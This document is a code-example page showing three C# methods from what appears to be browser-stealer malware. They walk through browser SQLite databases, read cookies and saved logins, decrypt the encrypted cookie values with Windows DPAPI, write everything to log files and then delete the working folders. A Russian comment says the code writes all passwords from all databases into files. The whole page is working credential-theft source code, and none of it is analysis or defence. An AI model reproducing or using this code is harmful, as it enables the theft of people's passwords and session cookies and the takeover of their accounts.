Esempio n. 1
0
        public static void Inizialize()
        {
            foreach (string v in Searcher.Database)
            {
                string save = CombineEx.CombinePath(GlobalPath.CookiesLogs, $"{CombineEx.GetFileNameWithoutExtension(v)}.txt");

                if (CombineEx.ExistsFile(v))
                {
                    try
                    {
                        using (var Connect = new SQLiteConnection($"Data Source={v};pooling=false;FailIfMissing=False"))
                        {
                            Connect.Open();
                            using (var ComText = new SQLiteCommand(COOKIES, Connect))
                                using (SQLiteDataReader reader = ComText.ExecuteReader())
                                {
                                    if (!reader.HasRows)
                                    {
                                        continue;
                                    }
                                    else
                                    {
                                        SaveLogs(v, save, reader);
                                    }
                                }
                            SQLiteConnection.ClearPool(Connect);
                        }
                    }
                    catch { }
                }
            }
            CombineEx.CreateOrDeleteDirectoryEx(false, CombineEx.CombinePath(GlobalPath.HomePath, "Cookies"));
        }
Esempio n. 2
0
        /// <summary>
        /// Метод который записывает все пароли из всех БД в разные файлы
        /// </summary>
        public static void Inizialize_Multi_file()
        {
            foreach (string v in Searcher.Database)
            {
                string BrowserName = CombineEx.GetFileNameWithoutExtension(v);
                string save        = CombineEx.CombinePath(GlobalPath.Logs, $"{BrowserName}.txt");

                try
                {
                    using (var Connect = new SQLiteConnection($"Data Source={v};Version=3;New=False;Compress=True;"))
                    {
                        Connect.Open();
                        using (var ComText = new SQLiteCommand(COMMANDTEXT, Connect))
                            using (SQLiteDataReader reader = ComText.ExecuteReader())
                            {
                                if (!reader.HasRows)
                                {
                                    continue;
                                }
                                else
                                {
                                    SaveLogs(BrowserName, save, reader);
                                }
                            }
                        SQLiteConnection.ClearPool(Connect);
                    }
                }
                catch { continue; }
            }
            CombineEx.CreateOrDeleteDirectoryEx(false, CombineEx.CombinePath(GlobalPath.HomePath, "Logins"));
        }
Esempio n. 3
0
 private static void SaveLogs(string v, string save, SQLiteDataReader reader)
 {
     try
     {
         using (var SwLog = new StreamWriter(save))
         {
             while (reader.Read())
             {
                 SwLog.WriteLine($"Browser: {CombineEx.GetFileNameWithoutExtension(v)}");
                 SwLog.WriteLine($"HostKey: {reader[5]?.ToString()}");
                 SwLog.WriteLine($"Name: {reader[0]?.ToString()}");
                 SwLog.WriteLine($"Path: {reader[2]?.ToString()}");
                 SwLog.WriteLine($"Expires_utc: {(long)reader[3]}");
                 SwLog.WriteLine($"Last_access_utc: {(long)reader[4]}");
                 SwLog.WriteLine($"EncryptedValue: {DecryptTools.DecryptValue((byte[])reader[1], DataProtectionScope.LocalMachine, null)}");
                 SwLog.WriteLine();
             }
         }
     }
     catch { }
 }